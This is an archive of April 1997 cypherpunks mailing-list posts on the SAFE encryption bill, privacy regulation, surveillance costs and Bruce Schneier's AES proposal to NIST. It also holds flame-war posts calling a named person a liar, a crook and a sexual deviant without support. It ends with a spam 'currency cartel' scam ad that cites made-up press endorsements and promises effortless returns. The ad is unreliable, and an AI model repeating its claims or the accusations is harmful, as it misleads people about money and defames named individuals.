> >> Subject: FC: Crypto moves forward: Commerce Dept panel and SAFE markup
> >
> >> It also creates new criminal penalties for using encryption to
> >> further a criminal act ...  Remember that Maryland bill that would
> >> criminalize sending "annoying" or "harassing" email? If the
> >> Goodlatte bill became law, Marylanders who signed their messages
> >> with PGP or telnetted to local ISPs could be slammed with an
> >> all-expenses-paid trip to the Federal pen for five years ...  In
> >> other words, SAFE would turn state misdemeanors into Federal
> >> felonies.  This is not good.
> >
> >Ok.  So it's kind of bad in this respect, but let's face it ... we
> >can't have everything OUR way, the FIRST time around.  Washington
> >politics is just not that way (not that you need such a reminder).
> 
> I think you misunderstand the situation.  The government is in somewhat of a
> disadvantage by virtue of the fact that there is relatively little
> pro-censorship and anti-encryption legislation.  Absent such legislation,
> the status-quo moves in a relatively free fashion, which is why the Internet
> is mostly unregulated today.   
> 
> 
> >> A coalition of groups is sending a letter to Goodlatte tomorrow supporting
> >> the bill but expressing concern over the criminalization provision.
> >> Interested in signing on? Email David Sobel: sobel at epic.org.
> >
> >Let's let the legislative process (whatever you think of it) take its
> >course.  
> 
> That's precisely what they want us to allow, and that's exactly why we
> shouldn't accept it.  As Tim May has repeatedly pointed out, we are probably
> better off with NO legislation than bad legislation, and all we've been
> offerred so far this year is bad legislation.
> 
> 
> 
> 
> Jim Bell
> jimbell at pacifier.com
> 
> 
> 






From declan at well.com  Fri Apr 25 20:24:24 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 25 Apr 1997 20:24:24 -0700 (PDT)
Subject: CEI tells the Federal Trade Commission to be wary of regulation
Message-ID: 




---------- Forwarded message ----------
Date: Fri, 25 Apr 1997 19:19:49 -0500
From: Mikus Grinbergs 
To: Declan McCullagh 

> Julie DeFalco from the Competitive Enterprise Institute, a libertarian
> think tank here in DC, today sent me what her organization filed with the
> FTC earlier this month.

DID YOU HAVE TO POST THIS to your list?  Sure, it publicises what
the "other side" has to say, but I find so much to object to in
practically every sentence that it almost makes me ill.  I can
only hope that other filings to the FTC display more respect for
the individual than this does.

----
>>
>> The confusion surrounding the term privacy leads one
>> to conclude that "privacy" is like a Rorschach ink
>> blot - different people read different things into it.
>>  "Whenever an invasion of privacy is claimed, there
>> are usually competing values at stake."   In this
>> sense, privacy is not a right, it is a preference.

Eek!  Here the CEI is re-defining "privacy as a right" into "privacy
as a preference"!  In my opinion, the word "right" conveys a sense of
moral conviction, whereas the substituted word "preference" conveys
(as it is intended to) a connotation of malleable irresolution.

I am not a lawyer, nor am I familiar with the various court precedents,
but if "pursuit of happiness" can be considered a "right", I would
argue that so can "privacy" be considered a "right".  Is there even
a dividing line between the two?

>>
>> Supreme Court Justice Lewis Brandeis said that privacy
>> is the "The right to be left alone - the most
>> comprehensive of rights, and the right most valued by
>> a free people."

This quote is a brilliant stroke on the part of CEI - its presence
here reassures those who agree with Justice Brandeis (of whom I am
one), but the idea of value to "being left alone" is disregarded
throughout the rest of CEI's submission.

Let me illustrate what I think is meant by "privacy":  Suppose I
do not have a secretary to take care of my personal correspondence.
As long as I receive only a few letters each day urging me to do
something, I consider that to be a tolerable "cost" associated with
living in this modern-day society.  But suppose the mailman starts
bringing me hundreds of such letters each day -- it will take me
time and effort just to dispose of them (even if I did not look at
their content) -- time and effort diverted from my goal of "pursuit
of happiness".  Because I was not left alone, my ability to _choose
by myself_ what to do and what not to do (that is, my *privacy*)
was violated.

----
>>
>> The allocation of costs and benefits deriving from
>> data collection depends upon whom you ask.  Again,
>> privacy is a preference, not a universal right.

This seems to be the central message of what CEI is proposing --
run a poll, and if the plurality of respondents say that they see
a benefit to society of identifying who you are each time you buy
something (or even enter any store or Web page) -- why then, let's
all be good citizens and not be irritated and just present our
tamper-proof IDs when asked.

>>                The FTC should be extremely
>> cautious in regulating the free flow of consumer information.

[Surely CEI can convince them that for "free flow of consumer
 information" what is important is the flow of information about
 consumers to marketers -- after all, it is the market that rules,
 not vague intangibles like "individual privacy".]


mikus







From stewarts at ix.netcom.com  Fri Apr 25 21:42:07 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 25 Apr 1997 21:42:07 -0700 (PDT)
Subject: Surveillance Statists (Was: Cato forum on liquor advertising and electronic media)
In-Reply-To: <3.0.32.19970424211058.006a0460@cnw.com>
Message-ID: <3.0.1.32.19970425203954.005a0550@popd.ix.netcom.com>


At 09:13 PM 4/24/97 -0700, Blanc wrote:
>>I wish these people would go live in the U.S.S.R., or something.(*)
The fact that the USSR only exists in the past should be just fine for
some of these people, who'd also rather live in the past :-)

At 12:58 AM 4/25/97 -0700, Greg Broiles wrote:
>Indeed - I frequently find myself wondering who really won the cold war. The
>"free world" seems to be adopting the totalitarian/surveillance-state tactics

Same as it ever was - J. Edgar Hoover and Joe McCarthy weren't much different
from Louis Freeh or Ollie North today, or than the thugs who drafted people 
into the wars of 1846, the 1860s, 1917-18, the 1940s, 1950s, or 1960s, or the
thugs who arrested Schenck for speaking against the draft in 1916 before there
even was a draft...  Perhaps they were a bit more aggressive than Louis, 
but Louis's got the advantage of better hardware, and 
Moore's Law is unfortunately on the side of the surveillance state.
If Harry Anslinger wanted to wiretap a Demon Rum Dealer, he needed guys
to listen to the tap, though perhaps wire recorders could help,
and any recordkeeping correlation was done by people and dead-tree machinery.
If J.Edgar wanted to wiretap a Commie, he could use voice-activated tape 
recorders, but it was still analog, and still needed people to interpret it,
though records like names of important convicts and Commies could be kept in 
big expensive mainframes.  If either one wanted to read your mail, 
the Post Office would be happy to pick it out for them, and they could steam 
open the envelope if you weren't taking advantage of the Post Office's
cheaper rate for unsealed envelopes.

Back in the early 80s, if you wanted to store 1 byte of information for
every American adult, you either needed a high-end magtape (160MB)
which used a $30-50K tape drive, for slow retrievals, or a fast removable
disk pack ($1000 for 250MB) which also needed a $35K disk drive.
This meant that large-scale data on the population was mainly used by
people who were making money out of it, and governments mainly focused on
a million or so usual suspects because it was too much trouble to do more.

Now $30 will get you a CDROM with 100 million phone numbers on it,
$300 will get you a 3GB of hard disk (still only 10 bytes/person),
or a disk drive holding 500MB removables, a 4GB tape drive is probably $1000,
and your original $30K will probably get you a few terabytes worth of
tape stacker capacity - if not today, then next year.  That means that
not only can Louis Freeh keep data on everybody, but just about anybody
can afford to, and it's increasingly possible to keep it in random-access
forms like disk drives which can be correlated much more easily than tapes.
Optical scanners are getting cheap - paper won't be just dead trees much
longer.
[If I mention video cameras I'll start sounding depressingly like David
Brin :-)
Of course, the amount of data you'd want to track keeps growing faster as
well...

So if we want to create or preserve privacy in this sort of world,
we need to change how we do transactions - keep less information,
do more immediate clearing instead of book-entry (at least that's 
getting cheaper as well), build systems that interact with people
that accept anonymity for most transactions, and use it by default.
On the other hand, there's money to be made in data-mining transaction data,
through improved marketing and targeted advertising - so we need
to find other ways for companies to make money on transactions
so they'll be willing to let go of the transaction data.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From dlv at bwalk.dm.com  Fri Apr 25 22:00:14 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 25 Apr 1997 22:00:14 -0700 (PDT)
Subject: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: 
Message-ID: 


Declan McCullagh  writes:

> My lord, I'm agreeing with Jim Bell!

Declan is showing promise.

> Right now, no controls exit on domestic crypto, though strict export
> controls are in place.
>
> The question is: Do we want to give up any domestic freedom in exchange
> for a relaxation of export controls? (Congress is, after all, built on
> compromises between warring factions.)

Most folks who are trying to sell crypto products will say YES.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Fri Apr 25 22:00:16 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 25 Apr 1997 22:00:16 -0700 (PDT)
Subject: Query: Who has left the U.S. to evade the law?
In-Reply-To: 
Message-ID: 


Declan McCullagh  writes:

> An associate is trying to find an American who left the country to operate
> a high-tech business, possibly illegal, outside the U.S. to evade American
> laws. Think hacking/cracking, money laundering, child porn, black market.
> This is for a profile in _Details_ magazine.  Any tips? My friend is
> discreet and trustworthy and lives in New York City.

If your "friend" is Charlie Platt, you should stay away from him -
Charlie is a liar and a crook.

Now, what was the name of that guy in Antigua...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From shamrock at netcom.com  Sat Apr 26 00:52:18 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sat, 26 Apr 1997 00:52:18 -0700 (PDT)
Subject: SNL/NSA Crypto Security
Message-ID: <3.0.32.19970426004013.0076cb80@netcom13.netcom.com>


At 11:57 PM 4/21/97 -0400, John Young wrote:
[...]
>One affidavit cites Payne's claim to knowing how to "easily 
>break public key encryption" but refused to tell NSA, thus
>harming SNL's customer relations.
>
>http://jya.com/nsasuit4.htm

Indeed. Let's try to get a copy of the draft mentioned in the affidavit:
"�20. Also included with the letter to Professor Fushimi was a draft
document written by plaintiff Payne entitled a "Public Key Encryption Is
Easily Broken." No member of Dr. Payne's management was advised of his plan
to release this document and Sandia had no opportunity to inform NSA of his
plans. "




-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From declan at pathfinder.com  Sat Apr 26 07:42:51 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Sat, 26 Apr 1997 07:42:51 -0700 (PDT)
Subject: Query: Who has left the U.S. to evade the law?
In-Reply-To: 
Message-ID: 


I can't confirm or deny whether my associate is Charles, but I will say
that he is not a liar nor a crook. Far from it.

I vaguely remember a flamewar between you two on cypherpunks a few months
back, centering around how you got kicked off of an ISP, so perhaps that
explains your animus towards him. 

-Declan


On Sat, 26 Apr 1997, Dr.Dimitri Vulis KOTM wrote:

> Declan McCullagh  writes:
> 
> > An associate is trying to find an American who left the country to operate
> > a high-tech business, possibly illegal, outside the U.S. to evade American
> > laws. Think hacking/cracking, money laundering, child porn, black market.
> > This is for a profile in _Details_ magazine.  Any tips? My friend is
> > discreet and trustworthy and lives in New York City.
> 
> If your "friend" is Charlie Platt, you should stay away from him -
> Charlie is a liar and a crook.
> 
> Now, what was the name of that guy in Antigua...
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> 






From dlv at bwalk.dm.com  Sat Apr 26 09:42:45 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 26 Apr 1997 09:42:45 -0700 (PDT)
Subject: Query: Who has left the U.S. to evade the law?
In-Reply-To: 
Message-ID: 


Declan McCullagh  writes:

> I can't confirm or deny whether my associate is Charles, but I will say
> that he is not a liar nor a crook. Far from it.

Charles Platt is a liar and a crook.  Ask his former business partners
in the "Cryocare foundation". Re-read the bullshit that he's been posting
to this mailing list. Re-read his sick sexual fantasies on alt.torture.

> I vaguely remember a flamewar between you two on cypherpunks a few months
> back, centering around how you got kicked off of an ISP, so perhaps that
> explains your animus towards him.

Charles Platt claimed that I was kicked off panix.com for "theft of
services". He posted this lie to cypherpunks, to Declan's "fight
censorship" mailing list, and several other forums. Platt's claim is
an outright lie, like everything else he says. Yes, there used to
be an account "vulis at panix.com", used mostly by my wife. We didn't
like Panix's service, so we stopped paying for it, and the account
was closed in October 96. We fired Panix. If Panix thinks we owe
them something for their service, let them speak up.

Declan's credibility as a journalist is severely hurt by his association
with the proven liar and a crook - Charles Platt.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From schneier at counterpane.com  Sat Apr 26 10:28:12 1997
From: schneier at counterpane.com (Bruce Schneier)
Date: Sat, 26 Apr 1997 10:28:12 -0700 (PDT)
Subject: AES Comments
Message-ID: 


26 April 1997


Director, Computer Systems Laboratory
Attn: FIPS for AES Comments
Technology Building, Room A231
National Institute of Standards and Technology
Gaithersburg, MD 20899


				RE: Advanced Encryption Standard (AES)


Dear Mr. Director:

This letter is to offer additional advice subsequent to the 15 April 1997
meeting at NIST, "Developing the Advanced Encryption Workshop." I
appreciate your institute's efforts to develop an AES, and am pleased that
you recognize the importance of this task.

Much of the discussion at the 15 April meeting centered around the "Minimum
Acceptability Requirements" and the "Evaluation Criteria" for the AES.
These are important metrics: good Evaluation Criteria will ensure that the
best algorithm is selected as the AES, while good Minimum Acceptability
Requirements will limit the submissions to high-quality ones.

At the meeting you repeatedly stated that you intend that AES will be a
standard for 20-30 years.   To me, this means that the algorithm will be
used in legacy applications for at least another ten, securing information
that may be required to be confidential for yet another ten.  Assuming we
have a standard approved by the year 2000, the AES must be secure through
the year 2050.

We need to look at AES requirements with this in mind.

Clearly, any algorithm approved for the AES must be secure.  The difficulty
will be choosing among several secure algorithms.  In this letter, I would
like to ignore the important problem of deciding if an algorithm is secure
(and if it will remain secure through the year 2050), and concentrate on
the non-cryptographic requirements.

At the meeting we discussed both flexibility and efficiency: what they
mean, how important they are, and how to compare.

Evaluating encryption algorithms on 32-bit processors such as the Pentium
seems short-sighted for such a long-lasting standard.  Just as the DES,
designed for dedicated hardware in the mid 1970s, is inefficient on any
modern processor, any AES designed for today's computer architectures will
be inefficient on whatever is used 20 years from now.

That isn't much of a problem, though.  Programmers have spent long hours
optimizing DES for different architectures.  And computing power still
doubles every eighteen months: any algorithm becomes ten times faster just
by waiting five years.  Everything is fast on the 64-bit DEC Alpha.

The difficulty is in the low end: embedded systems, smart cards.  The
lesson of the past 20 years of computing seems to be that while the high
end always gets better, the low end never goes away.  We're still
programming tiny 8-bit microprocessors; instead of being used in desktop
computers, they're in cellular phones, automobiles, electrical meters, and
smart cards.  These processors will be around for a long time to come, in
Dick-Tracy-like wristwatch communicators, small affixable processors
(Micron is building the technology), and who knows what else
(nanotechnology?).

The AES should be efficient on the low-end processors that are around
today, and be scalable to 16-, 32-, and 64-bit processors.  And think fast;
almost anything written today is faster than triple-DES (see table below).
Encryption at 16 clock cycles per byte; that takes real work.


				     Clock Cycles per
		Algorithm	     Byte Encrypted
		Name		     on a Pentium

		SEAL (stream)		   4
		RC4 (stream)		   7
		Blowfish		  18
		Khufu			  20
		RC5 (16 rounds)	  	  23
		DES			  45
		IDEA			  50
		Triple-DES		 108


With this in mind, I propose a set of Minimum Acceptability Criteria that
pushes the envelope of current encryption algorithms:

	A variable key, supporting (at least) a 128- and 256-bit key .

	Both block modes and a stream modes, with the steam modes at least
five times faster than the block modes.

	Block modes with a 128-bit block.

	A standard hash-function mode.

	A standard MAC (Message Authentication Code) mode.

	Variability in the algorithm to provide a family key for different
applications.

	Encryption speeds (in clock cycles per byte encrypted):

		No more than 64 on an 8-bit smart card with a 128-bit key.

		No more than 32 on a 16-bit processor with a 128-bit key.

		No more than 16 on a Pentium, Pentium Pro, PowerPC, or DEC
Alpha with a 128-bit key.

		No more than double with a 256-bit key on any platform.

	Encryption and decryption speeds within 10% of each other.

	Key setup no more than 5 times the speed to encrypt one block for a
128-bit key, and no more than 10 times encryption speed for a 256-bit key.

	Implementable in hardware with a total table size of less than 256
bytes.

	Hardware encryption throughput of one block per clock cycle (given
enough gates), with a maximum latency of 16 clock cycles.

	Minimum RAM requirements (RAM only, not code or tables) of no more
than 64 bytes on an 8-bit smart-card processor.

	Minimum table size of no more than 256 bytes on an 8-bit smart-card
processor.

These requirements are not easy to meet.  As far as I know, no published
block cipher meets them all (although some come close in many areas).  But
requirements such as these will challenge the world's cryptographic
research organizations to create something useful.

I know you realize that the selection process will take several years to
complete.  Therefor, I urge you to approve triple-DES as an interim
standard.  This will satisfy users who need a 64-bit block cipher for
compatibility reasons, while allowing you the time required to choose and
approve the best AES you can.

I applaud your efforts in this matter, and I look forward seeing your call
for submissions in the Federal Register


Sincerely,



Bruce Schneier

************************************************************************
* Bruce Schneier            2,000,000,000,000,000,000,000,000,002,000,
* Counterpane Systems       000,000,000,000,000,000,002,000,000,002,293
* schneier at counterpane.com  The last prime number...alphabetically!
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* Minneapolis, MN  55419    ninety three.
* http://www.counterpane.com
************************************************************************







From bambi at vdocam.com  Sat Apr 26 10:35:23 1997
From: bambi at vdocam.com (bambi@mail.vdocam.com)
Date: Sat, 26 Apr 1997 10:35:23 -0700 (PDT)
Subject: zzzt, scirching
Message-ID: <199704261715.RAA27761@mail.vdocam.com>


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From shamrock at netcom.com  Sat Apr 26 10:44:45 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sat, 26 Apr 1997 10:44:45 -0700 (PDT)
Subject: Crypto moves forward: Commerce Dept panel and SAFE markup
Message-ID: <3.0.32.19970426015419.00720cc8@netcom13.netcom.com>


At 11:13 AM 4/25/97 -0700, Ernest Hua wrote:
>Let's let the legislative process (whatever you think of it) take its
>course.  I'll be happy even if they sneak some screwy secret committee
>on the final bill, as long as we are not subject to that committee or
>any other governmental body just because we allow ftp of C source code
>by our off-shore friends.

I think this is a dangerous position to take... make that fatal. The code
is already being ftp'ed out of the US. The law would gain you little. But
the new restrictions/enhanced penalties, which will inevitably be included
in any crypto bill that might become law, will set us back severely.
Personally, I hope that none of the crypto bills pending gets passed.



-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From harka at nycmetro.com  Sat Apr 26 13:40:45 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Sat, 26 Apr 1997 13:40:45 -0700 (PDT)
Subject: Staale & Elm
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

Howdy :)

1. Does anybody know, what happened to the International
PGP-Homepage (http//www.ifi.uio.no/PGP/)? It comes up as "Link not
found" (?!)
Also Staales personal page (http://www.ifi.uio.no/~staalesc/) seems
to be gone...

2. A friend of mine is using Linux and Elm. I recently got her to
use PGP, but the poor thing does everything manually via command
lines. Can anybody recommend some good front-end's available for
Linux-Elm?

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
... Want to use PGP? --> http://bureau42.base.org/public/pgpsteps.txt

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM2JpPTltEBIEF0MBAQGnHwf9FEKh2mDV3xLhfeCX4UG823cB34qXyEl5
zyh2OeVwN8U21H2Vq09vv0OMKR4ObLRRA6xKRtQgRsSDZUEnsWvfp+O5tD7MRlvo
CWH+TbPufzYsLXs6HtGVU6i8ImvN75WY7VuE1+cyYCzscR8M2l0wGlNGdnhvPg0X
HQ7EZsLbcppdq8G73jBpoviLWxWD5JjjTmEbBg2yMI8stx84WwzcYy/LGj9nTc0t
J4jFUcvT4RDWwWveiGY4vHrAe2338VQARmBDpsItAaWDYbMU7TJQoJ8OF73/iYoJ
tRg3S0cuUFwzvJPGpvWEsDJHOlsQGg06WjVSgRfxeNaeEK5w3bOthA==
=rDLZ
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From harka at nycmetro.com  Sat Apr 26 13:46:15 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Sat, 26 Apr 1997 13:46:15 -0700 (PDT)
Subject: International PGP page
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

Hmm, now it's back again...strange.

Ciao

Harka

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM2JqqzltEBIEF0MBAQHIpwf/U5SJoAkWezR046gMqddmsSCA28sDzJiD
5kJmCkgSq8qhnr79jOtdk8uvHailW++Xx/kDtvXkk8YpmJV1ALaSdrPTuN+TCnGS
xx0aDm2ju5FuUdzeP0zcp6UJPAKZgmvy5tEue5j47mxzN/iBqzxW9m409ovJWWVs
fWk+/Ga+LlbMKwE0pqV83GVbaVkEiIu/ZfmwIHLf8q/Y2YFpEMEM+AgYKbX+RZJd
+jT4s35CdXUP0ia1FepfuLHnxf/mtVJTLqiZhd3bErKxS9XeHUjufh7jcLes2izl
cziaUk9LnWoUg9wdbnXzkyMmAVd48quPxU3QOpfx16aUPa+oTanYig==
=+nsL
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From CALL at TOLL.FREE  Sat Apr 26 15:10:22 1997
From: CALL at TOLL.FREE (CALL at TOLL.FREE)
Date: Sat, 26 Apr 1997 15:10:22 -0700 (PDT)
Subject: >>> 9.9  LONG  DISTANCE <<<
Message-ID: <9.93longdistance@usa.net>


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From tz at execpc.com  Sat Apr 26 15:51:43 1997
From: tz at execpc.com (tz at execpc.com)
Date: Sat, 26 Apr 1997 15:51:43 -0700 (PDT)
Subject: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: 
Message-ID: <97Apr26.185020edt.32257-1@brickwall.ceddec.com>


On Fri, 25 Apr 1997, Declan McCullagh wrote:

> My lord, I'm agreeing with Jim Bell!
> 
> Right now, no controls exit on domestic crypto, though strict export
> controls are in place.
> 
> The question is: Do we want to give up any domestic freedom in exchange
> for a relaxation of export controls? (Congress is, after all, built on
> compromises between warring factions.)
> 
> My instinct is to say "No." Let the courts strike down ITAR, EAR, and its
> progeny, while we keep our freedoms domestically. 
> 
> -Declan

I emailed Rep Goodlatte, but didn't get a response about this issue.  My
main problem is that it becomes a felony to use encryption for anything
that can be prosecuted if I take the legalese literally.  So if I have a
GSM cell phone in a car that is illegally parked, it seems that I would
fall under the definition.

I would mind it less if, 1. There had to be a conviction for the main
crime.  2. The main crime must be a serious felony (i.e. something far
worse than a single overdrawn check).  3. The penaly for using encryption
in furtherance should be less than that for the main crime.  4. encryption
had to play an intrinsic role in the main crime.  5. It must go beyond
common, everyday uses of encryption.

tz at execpc.com
finger tz at execpc.com for PGP key






From lucifer at dhp.com  Sat Apr 26 16:43:17 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sat, 26 Apr 1997 16:43:17 -0700 (PDT)
Subject: [ADMINISTRATIVIUM] Accounts payable
Message-ID: <199704262343.TAA15392@dhp.com>


Date: Mon, 21 Apr 1997 09:13:49 -0600 (MDT)
From: Graham-John Bullers 
To: Huge Cajones Remailer 
Cc: cypherpunks at toad.com
Subject: Re: [ADMINISTRATIVIUM] Accounts payable
Sender: owner-cypherpunks at toad.com

I think Vulis needs each of us to send ten copies of this back to him.

On Mon, 21 Apr 1997, Huge Cajones Remailer wrote:

> Timmy May is a licenced sexual pervert who wears Graham-John Bullers' 
> underwear.
> 
>  .   ___ o Timmy May
>  ^z\/o\ o
>  ^z/\_~_/
>  '   '
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From nobody at hidden.net  Sat Apr 26 20:49:35 1997
From: nobody at hidden.net (Anonymous)
Date: Sat, 26 Apr 1997 20:49:35 -0700 (PDT)
Subject: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: <199704251813.LAA18728@server1.chromatic.com>
Message-ID: <199704270244.TAA07840@jefferson.hidden.net>


Ernest Hua wrote:
> 
> > It also creates new criminal penalties for using encryption to
> > further a criminal act ...  Remember that Maryland bill that would
> > criminalize sending "annoying" or "harassing" email? If the
> > Goodlatte bill became law, Marylanders who signed their messages
> > with PGP or telnetted to local ISPs could be slammed with an
> > all-expenses-paid trip to the Federal pen for five years ...  In
> > other words, SAFE would turn state misdemeanors into Federal
> > felonies.  This is not good.
> 
> Ok.  So it's kind of bad in this respect, but let's face it ... we
> can't have everything OUR way, the FIRST time around.  Washington
> politics is just not that way (not that you need such a reminder).

Are you kidding? With the exception of export controls, we DO have
it our way now. If we let them have it at all, we will NEVER have
it our way. Any legislation at all, no matter what it says, is bad.

> 
> > A coalition of groups is sending a letter to Goodlatte tomorrow 
> > supporting the bill but expressing concern over the criminalization 
> > provision. Interested in signing on? Email David Sobel: 
> > sobel at epic.org.
> 
> Let's let the legislative process (whatever you think of it) take its
> course.  I'll be happy even if they sneak some screwy secret committee
> on the final bill, as long as we are not subject to that committee or
> any other governmental body just because we allow ftp of C source code
> by our off-shore friends.

Under no circumstances should any right or liberty be sacrificed so that
we can export crypto. One of the principal reasons for export control
is to prevent the widespread deployment of strong crypto IN the U.S.
It seems they are willing to lift export controls if we all lie down
and let them impose controls on domestic use. No thanks. Fuck RSA. 
Fuck Netscape. Fuck M$. I'm not gonna give up my ability to use crypto
so they can make more money.

-- Mr. E






From Exchange at CurrencyCartel1.com  Sat Apr 26 23:46:18 1997
From: Exchange at CurrencyCartel1.com (Exchange at CurrencyCartel1.com)
Date: Sat, 26 Apr 1997 23:46:18 -0700 (PDT)
Subject: " A Very IMPORTANT Announcement " !
Message-ID: <9704270640.AN10291@ns.dmi.net>



''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

            ''''''''''''''''''''  A VERY IMPORTANT ANNOUNCEMENT '''''''''''''''''''''''''
                                ' Your Future May Depend On it '
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Before you should know what the 'Important Announcement' is, please read the
following 'Editorial Excerpts' from some important publications in the U.S.A.

New York Times:
''''''''''''''''''''''''''''''''''''''''''''''''   " In concluding our review of Financial Organizations to
effect change in the 90's, special  attention should  be called to the  ' World 
Currency Cartel ' based in California. Members of this organization are amassing 
hundreds of millions of dollars in the currency market using a very LEGAL method
which has not been divulged to the general public. While their purpose, if any, is 
not yet known, their presence has most certainly been felt ".

ABC Nightly News:
''''''''''''''''''''''''''''''''''''''''''''''''''''''''   "Members of the World Currency Cartel are among the most
                                          powerful & wealthiest people in this hemisphere".

Dear Friend:

More Excerpts later, but first let us give you this Important Announcement:
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
We are glad to announce that for the very first time and for a short time only, the 
World Currency Cartel will instruct a LIMITED number of people worldwide HOW 
TO CONVERT $25 INTO ONE HUNDRED OF LEGAL CURRENCY. We will tran-
sact the first conversion for you, after that you can easily and quickly do this on 
your own hundreds or even thousands of times each month, month after month! 
Take advantage of the SECRET FLAW !
                       '''''''''''''''''''''''''''''''''''''''''''''''''''''''''
It is even more explosive  than we have  yet  disclosed.  While currency does 
fluctuate  daily, we can show you  HOW TO CONVERT $99  INTO  $588 as
many time as you want ! That means YOU WILL BE ABLE TO EXCHANGE $99 
AMERICAN LEGAL CURRENCY DOLLARS FOR $580 OF THE SAME, and you
can do this  AS MANY TIMES AS YOU WANT, every day, every week , every 
month!!         ALL VERY LEGALLY & EFFORTLESSLY !!!
                 '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
It only takes about 8 to 12 minutes each time you do this. You can do this from 
your home, office or even while travelling. All you need is an access to any phone 
line and an address and you can do this from ANY CITY ON THIS EARTH.

Again, we must reiterate:
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''  Anyone can do this and the source is Never-Ending. 
For as long as the global financial community  continues  to use different 
currencies with varying exchange rates, the 'SECRET FLAW' will exist.
                                                                ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
We at the World Currency Cartel would like to see a uniform global currency 
backed by Gold. But, until then, we will allow a LIMITED number of individuals
WORLDWIDE to share in the Unlimited Profits provided for by the world paper
currency differentials.

We will espouse no more political views nor will we ask you do so. We can 
say however,  that our parent organization 'Diamond International' benefits 
greatly by the knowledge being shared as we ourselves ALONG WITH YOU
benefit likewise. Your main CONCERN, however, will be How you benefit.

In a short time with NO investment or training, you will be a Currency Exchange 
Expert  who can make transactions from your home, by telephone or through 
the mail.         NO ONE CAN STOP YOU FROM EARNING HUNDREDS OF 
                     '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
                      THOUSANDS, EVEN MILLIONS EACH YEAR AS LONG AS 
                     '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
                      THE 'SECRET FLAW' EXIST !
